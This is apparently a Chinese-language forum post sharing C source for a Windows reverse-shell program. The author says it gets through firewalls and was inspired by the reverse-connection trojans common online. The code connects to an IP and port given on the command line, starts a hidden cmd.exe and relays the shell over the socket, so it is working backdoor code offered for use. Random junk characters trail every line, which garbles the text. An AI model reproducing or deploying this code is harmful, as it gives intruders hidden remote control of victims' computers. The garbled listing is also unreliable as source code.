这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `Ba?4_>k
?=1i:h
/* ============================== 6mIeV0Q'
Rebound port in Windows NT Q/J <$W*,
By wind,2006/7 mwn$ey&QE
===============================*/ &4%78K\
#include + rM]RFi
#include +6~zMKp
1D2RhM%
#pragma comment(lib,"wsock32.lib") uKTYb#E7
RQu[FZT,
void OutputShell(); [z*1#lj S
SOCKET sClient; 0+)1KU)I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 82V;J 8T?
-O r\
void main(int argc,char **argv) !HtW~8|:
{ oA:`=f%\
WSADATA stWsaData; .
Y$xNLoP[
int nRet; =EH/~NGk
SOCKADDR_IN stSaiClient,stSaiServer; a[,p1}!_
5Vdy:l
if(argc != 3) n
4cos
{ gxJ12'
m
printf("Useage:\n\rRebound DestIP DestPort\n"); naA8RD5/
return; b\kA
} c>T)Rc
LF)wn-C}
WSAStartup(MAKEWORD(2,2),&stWsaData); 0bD\`Jiv,
Au{ b1n
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D{qr N6g#
ZN&9qw*
stSaiClient.sin_family = AF_INET; ]l3Y=Cl
stSaiClient.sin_port = htons(0); T-iQ!D~
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V}~',o<m
|N3#of(
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gKmF#Z"\
{ %Na`\`L{F
printf("Bind Socket Failed!\n"); 91nB?8ZE6,
return; yn20*ix{
} *y` (^kyS
cxFyN;7
stSaiServer.sin_family = AF_INET; 6\v4#
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )T&r770
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2z AxGX
ka{!' ^
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Mhb~wDQl
{ k9NHdi7&2
printf("Connect Error!"); <xrya_R?
return; s;[=B
} 9+8N-LZ
OutputShell(); bb+iUV|Do
} f]C^{Uk#
*o!#5c
void OutputShell() ,g3n/'rP%
{ !/!Fc'A
char szBuff[1024]; E8wkqZN
SECURITY_ATTRIBUTES stSecurityAttributes; Fiw^twz5
OSVERSIONINFO stOsversionInfo; ytV[x
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Gv[(0
STARTUPINFO stStartupInfo; Y:Jgr&*,z
char *szShell; P?jI:'u!R.
PROCESS_INFORMATION stProcessInformation; NF-@Q@
unsigned long lBytesRead; eOfVBF<C2
J$T(p%
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G,1g~h%I$
F7]8*[u
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Cy)QS{YX
stSecurityAttributes.lpSecurityDescriptor = 0; zyt >(A1
stSecurityAttributes.bInheritHandle = TRUE; ?iamo.0zN
7<K=G2_:
E}#&2n8Y
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); LWN9 D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;E!] /oY<
YM.
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %WX^']p
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Id>I.e4
stStartupInfo.wShowWindow = SW_HIDE; Kw:%B|B<T
stStartupInfo.hStdInput = hReadPipe; /1bQ
RI^\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5Q8s{WQ
)t:8;;W@Ir
GetVersionEx(&stOsversionInfo); ;<%th
Ysw&J}6e
switch(stOsversionInfo.dwPlatformId) ~at:\h4:
{ s"2+H}u
case 1: g0IvcA
szShell = "command.com"; i'1MZ%.
break; I=
cayR
default: %ZDO0P !/
szShell = "cmd.exe"; sWKdqs
break; -[h|*G.J
} r029E-
0< }BSv
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); */|<5X;xIA
d7 :=axo,
send(sClient,szMsg,77,0); Ka%#RNW
while(1) pTncx%!W5
{ kjOkPp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lg{/5gQG
if(lBytesRead) 1F+JyZK}w
{ 9ESV[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0h{&k7T<7
send(sClient,szBuff,lBytesRead,0); $ERiBALN:
} |8)\8b|VuC
else %&s4YD/{
{ Q]$pg 5O
lBytesRead=recv(sClient,szBuff,1024,0); (rq(y$N
if(lBytesRead<=0) break; .*J /F$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VtGZB3
} `lt[Q>Z
} : JSuC
kE[R9RS!
return; ,pVe@ d'
}